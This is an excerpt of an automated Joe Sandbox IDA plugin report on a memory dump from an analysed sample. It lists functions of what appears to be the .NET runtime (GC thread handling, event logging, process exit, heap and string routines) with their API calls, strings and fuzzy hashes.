Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap$Handle$wcscpy_s
String ID: $ at
API String ID: 2577138463-3158221822
Opcode ID: 5d2af5665c7f796f11749a453bd67b80c0b770959d9f589ae2d05afb714921ad
Instruction ID: 2182cf742f1744a6a3cce542f88668aeff4da3bf82443b7043d27942ff979c8a
Opcode Fuzzy Hash: 5d2af5665c7f796f11749a453bd67b80c0b770959d9f589ae2d05afb714921ad
Instruction Fuzzy Hash: 45919B71E00218AFEB24CFA4DD45BEEBBB4EF54714F248129E815B72D1DB706A05CB81

Function 00B03C20 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 190threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?), ref: 00B03C2E
SleepEx.KERNEL32(00000001,00000000), ref: 00B03E35
SwitchToThread.KERNEL32 ref: 00B03E3B
SetLastError.KERNEL32(?), ref: 00B03E72

Strings

RareDisablePreemptiveGC: entering. Thread state = %x, xrefs: 00B03CDD
RareDisablePreemptiveGC: leaving, xrefs: 00B03E5B
Waiting for GC completion failed, xrefs: 00B03E85

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: ErrorLast$SleepSwitchThread
String ID: RareDisablePreemptiveGC: entering. Thread state = %x$RareDisablePreemptiveGC: leaving$Waiting for GC completion failed
API String ID: 490134931-3845258114
Opcode ID: 16310c3ac5a13ecfad36813e4fe3a293d90c6031d2f96672b259d3fa8e82a8c7
Instruction ID: d677cde9e55c1c546eafe4e7b6f319d332ba9fcfd31729af4896bf8743d50d64
Opcode Fuzzy Hash: 16310c3ac5a13ecfad36813e4fe3a293d90c6031d2f96672b259d3fa8e82a8c7
Instruction Fuzzy Hash: F06194343003048FEB259F19D989B657FE9EB84F44F084199E909AB2E2DB71EE44DB61

Function 00B2FFB0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(00000000,.NET Runtime), ref: 00B3002A
GetLastError.KERNEL32(?,?,?,00A7B8B6,00000002,00000000,80131506,?), ref: 00B30036
ReportEventW.ADVAPI32(00000000,00000001,00000000,000003FF,00000000,00000001,00000000,?,00000000), ref: 00B30052
GetLastError.KERNEL32(?,?,?,00A7B8B6,00000002,00000000,80131506,?), ref: 00B3005A
DeregisterEventSource.ADVAPI32(00000000), ref: 00B30063

Strings

.NET Runtime, xrefs: 00B30023
EventReporter::Report: Event log is full, corrupt or not enough memory to process., xrefs: 00B3009D

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Event$ErrorLastSource$DeregisterRegisterReport
String ID: .NET Runtime$EventReporter::Report: Event log is full, corrupt or not enough memory to process.
API String ID: 2240410200-2109140546
Opcode ID: e3793152a735c0704e86a0b84c251576ebde24f3b10b8232c97c2724cc5ccc71
Instruction ID: 39cca596e1c64e0d343b7d6be2ef954cf2dfb15ae9d5857a1e1d6d9ca69db01d
Opcode Fuzzy Hash: e3793152a735c0704e86a0b84c251576ebde24f3b10b8232c97c2724cc5ccc71
Instruction Fuzzy Hash: AB218831B2021AABE7246625DD95B3D72D6DF81710F2400F5FA0DAB2C1EAB6DC429751

Function 00A7A870 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,Error 0x%08x.BreakOnBadExit: returning bad exit code.,80131506,80131506,?), ref: 00A7A910
DebugBreak.KERNEL32 ref: 00A7A922
GetCurrentProcess.KERNEL32(80131506,80131506,?), ref: 00A7A943
TerminateProcess.KERNEL32(00000000), ref: 00A7A94A
ExitProcess.KERNEL32 ref: 00A7A95B

Strings

Error 0x%08x.BreakOnBadExit: returning bad exit code., xrefs: 00A7A909
SafeExitProcess: exitCode = %d sca = %d, xrefs: 00A7A88F

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Process$BreakCurrentDebugExitTerminate__acrt_iob_func
String ID: Error 0x%08x.BreakOnBadExit: returning bad exit code.$SafeExitProcess: exitCode = %d sca = %d
API String ID: 4023824191-4137208948
Opcode ID: abe49e4e318e43abba64dfd5ccf66a5c701ef67f70f1c7e324421174a83a4936
Instruction ID: 37689d5485a165d94b0f91e270f51367ad3f2dfb5b73aef94a74bf0da922bfd2
Opcode Fuzzy Hash: abe49e4e318e43abba64dfd5ccf66a5c701ef67f70f1c7e324421174a83a4936
Instruction Fuzzy Hash: CF21FB31600210AFD710A739DD4AF9E77989F91701F04C0A9FA0DA7292DB759906C797

Function 00BC23C0 Relevance: 10.7, APIs: 7, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,00000000,?,?,00BC2BA1,?,00000000,00000001,?,00000001,00000000,?,?,89ECF510,?), ref: 00BC24CC
HeapAlloc.KERNEL32(03310000,00000000,00000000,?,00000000,?,?,00BC2BA1,?,00000000,00000001,?,00000001,00000000,?,?), ref: 00BC24E8

Part of subcall function 00BC2010: GetProcessHeap.KERNEL32(89ECF510,?,00000000,00E37F30,000000FF,?,00000002,0096F0C3,?,00A251A5,?,89ECF510), ref: 00BC203E
Part of subcall function 00BC2010: RtlAllocateHeap.NTDLL(03310000,00000000,?,89ECF510,?,00000000,00E37F30,000000FF,?,00000002,0096F0C3,?,00A251A5,?,89ECF510), ref: 00BC205A

wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000055,00000000,00000055,?,00000000,?,?,00BC2BA1,?,00000000,00000001,?,00000001,00000000,?), ref: 00BC254E
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000055,00000000,00000055,?,00000000,?,?,00BC2BA1,?,00000000,00000001,?,00000001,00000000,?), ref: 00BC2591

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Heap$Processwcsncpy_s$AllocAllocate
String ID:
API String ID: 2736842452-0
Opcode ID: a4134aa5c27b89cbf1cc9d05791140260851fc516c83c1813f7844c130db9e0f
Instruction ID: fa1e294de0bf5084636b003384a2150e5e5240303c544f6e678fb582d47c560c
Opcode Fuzzy Hash: a4134aa5c27b89cbf1cc9d05791140260851fc516c83c1813f7844c130db9e0f
Instruction Fuzzy Hash: F88148722017019FE3648F68E858BA7B7E8FF50315F0044BAEA08CB2A1E7759958CB91

Function 00B302A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 199memoryCOMMON

Download Yara Rule

APIs

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?, at,00000005,00000004,00000000), ref: 00B30372
HeapFree.KERNEL32(00000000,?), ref: 00B30416
HeapFree.KERNEL32(00000000,?,?,00F20100,?, ), ref: 00B30496
HeapFree.KERNEL32(00000000,?,00B30130,?,00000009,00000000,?,00F20100,?, ), ref: 00B304D6

Strings

at, xrefs: 00B30367
, xrefs: 00B3044B

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap$wcscpy_s
String ID: $ at
API String ID: 1983039323-3158221822
Opcode ID: e1c288940f355efaa0d86ce07010d741601af1fa70d505d69bc07a391d088697
Instruction ID: 26fc8c1e5774b4600b887499797337084cae8174f0cf1108d8026837d08e905f
Opcode Fuzzy Hash: e1c288940f355efaa0d86ce07010d741601af1fa70d505d69bc07a391d088697
Instruction Fuzzy Hash: 4D71AF71E10208AFDB14EF94D995BAEBBF5EF44710F248169E911B7390DB70AE06CB80

Function 00E2FC10 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00E2FC47
___except_validate_context_record.LIBVCRUNTIME ref: 00E2FC4F
_ValidateLocalCookies.LIBCMT ref: 00E2FCD8
__IsNonwritableInCurrentImage.LIBCMT ref: 00E2FD03
_ValidateLocalCookies.LIBCMT ref: 00E2FD58

Strings

csm, xrefs: 00E2FCED

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 98d5746f52ef8e00206672355b0870816f7c0156f72cd10c669ac4652f475971
Instruction ID: 6891b9846b16294470b6bbeb454a5a31124ff17ed280aae3fedb9ea6a49289e3
Opcode Fuzzy Hash: 98d5746f52ef8e00206672355b0870816f7c0156f72cd10c669ac4652f475971
Instruction Fuzzy Hash: 6E51E534A002299BCF10DF79D841BAABBF0AF45368F149275EC09BB392E735D941CB91

Function 00BC6B90 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,DOTNET_,89ECF510,80131506,0000000A,?), ref: 00BC6C4F
wcscat_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,00F33610), ref: 00BC6C67
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,COMPlus_), ref: 00BC6D2E
wcscat_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,00F33610), ref: 00BC6D41

Strings

DOTNET_, xrefs: 00BC6C41
COMPlus_, xrefs: 00BC6C58, 00BC6D24

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: wcscat_swcscpy_s
String ID: COMPlus_$DOTNET_
API String ID: 1337066035-1316173318
Opcode ID: 23fd75102e7bf74c898863cccd238c4c8e366786b7bbb1edd95ca4f028ec969b
Instruction ID: 01b0f54120bdbf5c3d4bf79ae37482c0e5b769f5bd0a1b0adc9fc30729089182
Opcode Fuzzy Hash: 23fd75102e7bf74c898863cccd238c4c8e366786b7bbb1edd95ca4f028ec969b
Instruction Fuzzy Hash: F6613A71D052699FDB20CF68CD45BDABBB8EF06704F0041EAE949A7281E7745E88CF91

Function 00A7B040 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 137threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00A7B070
GetStdHandle.KERNEL32(000000F4), ref: 00A7B08F

Part of subcall function 00A36850: strlen.API-MS-WIN-CRT-STRING-L1-1-0(Fatal error. ,00000000,?), ref: 00A3685E
Part of subcall function 00A36850: WriteFile.KERNEL32(?,Fatal error. ,00007FFF,?,00000000), ref: 00A36893

SleepEx.KERNEL32(000000FF,00000000), ref: 00A7B0C8

Strings

Process terminated. , xrefs: 00A7B142
Fatal error. , xrefs: 00A7B13D
Fatal error while logging another fatal error., xrefs: 00A7B095

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: CurrentFileHandleSleepThreadWritestrlen
String ID: Fatal error while logging another fatal error.$Fatal error. $Process terminated.
API String ID: 3820310217-2540833051
Opcode ID: 31e0f014c211ff2925b0a8ca54ba1a25084c5c952b18d6219c6bf967294f3cb4
Instruction ID: a047261ef31b667406e31e91520577dbfea9ada3892e4bdf9fb3f9b01f461287
Opcode Fuzzy Hash: 31e0f014c211ff2925b0a8ca54ba1a25084c5c952b18d6219c6bf967294f3cb4
Instruction Fuzzy Hash: 7551AD71E05208DFCB14EFA4D9517AEB7B0EF44720F60826EE81AA7381DB755E05CBA1

Function 00A273D0 Relevance: 9.2, APIs: 6, Instructions: 202COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 00A274C2
SignalObjectAndWait.KERNEL32(?,?,?,?), ref: 00A274E6
GetTickCount64.KERNEL32 ref: 00A2753A
GetTickCount64.KERNEL32 ref: 00A27563
WaitForSingleObjectEx.KERNEL32(?,?,00000001), ref: 00A27578
GetLastError.KERNEL32 ref: 00A27591

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Count64Tick$ObjectWait$ErrorLastSignalSingle
String ID:
API String ID: 1882477136-0
Opcode ID: a12888e91af27a237d9c8f7b301ba1dbba2ca210c9abe3003df0f4409d51289e
Instruction ID: e67289dd7f0e76b60c189e853482ee09b495d7dff2e995564519075fe1e5b367
Opcode Fuzzy Hash: a12888e91af27a237d9c8f7b301ba1dbba2ca210c9abe3003df0f4409d51289e
Instruction Fuzzy Hash: D281A270904629CFDB25DF6CE888BADBBF1FF04324F144269E829A7391D7749A45CB60

Function 00BD1380 Relevance: 9.2, APIs: 6, Instructions: 171memorystringCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,89ECF510,?,00000000), ref: 00BD14D6
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,89ECF510,?,00000000), ref: 00BD1501
HeapFree.KERNEL32(00000000,?), ref: 00BD1531

Part of subcall function 00BCFF00: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 00BD0018

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,89ECF510,?,00000000), ref: 00BD1549
HeapFree.KERNEL32(00000000,?), ref: 00BD1579
HeapFree.KERNEL32(00000000,?,?,?,?,89ECF510,?,00000000), ref: 00BD15A7

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap$strncmpwcsncmp
String ID:
API String ID: 3465112686-0
Opcode ID: d5d942b897215b5d889191aeb20f749beabee16d5d2882cad972bce89e9dcda2
Instruction ID: 2761cc352255b510332de0ee7c1278d8194126f6c37e6045c087cb1cc3048525
Opcode Fuzzy Hash: d5d942b897215b5d889191aeb20f749beabee16d5d2882cad972bce89e9dcda2
Instruction Fuzzy Hash: 0561A170900219AFDB10CF28ED88BA9F7F5EB54314F1482D9E819A7790EB34AE45CF90

Function 00BD1A60 Relevance: 9.1, APIs: 6, Instructions: 139memoryCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000004,00000000,89ECF510,?,?), ref: 00BD1B1E
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00BD1B4F
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00BD1B5A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00BD1B65
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00BD1B70
HeapFree.KERNEL32(00000000,?,?,00000000,00000004,00000001), ref: 00BD1BB1

Part of subcall function 00B2CA00: __stdio_common_vsnwprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,00000000,?,?,00BD1B48,000000FF,?,?,?), ref: 00B2CA1D

Part of subcall function 0096F6D0: wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,00000004,00000000,89ECF510,00000000,?), ref: 0096F75C

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: _errno$FreeHeap__stdio_common_vsnwprintf_swcscpy_s
String ID:
API String ID: 49456595-0
Opcode ID: fbdfb4168fa51d69c03b8ed9d477929af744ad4372d0e39d6f7a8af982f89e76
Instruction ID: 2d4ef89505714263f3be33aea98e101470cd1d816cec65e39b6b0fca000427c5
Opcode Fuzzy Hash: fbdfb4168fa51d69c03b8ed9d477929af744ad4372d0e39d6f7a8af982f89e76
Instruction Fuzzy Hash: E941E471200605AFDB14DF59DD41BAAF7E6FF45754F10869AE92A976E0EB306900CB10

Function 00BD18F0 Relevance: 9.1, APIs: 6, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000003,00000000,89ECF510,?,?), ref: 00BD19A4
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00BD19D4
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00BD19DF
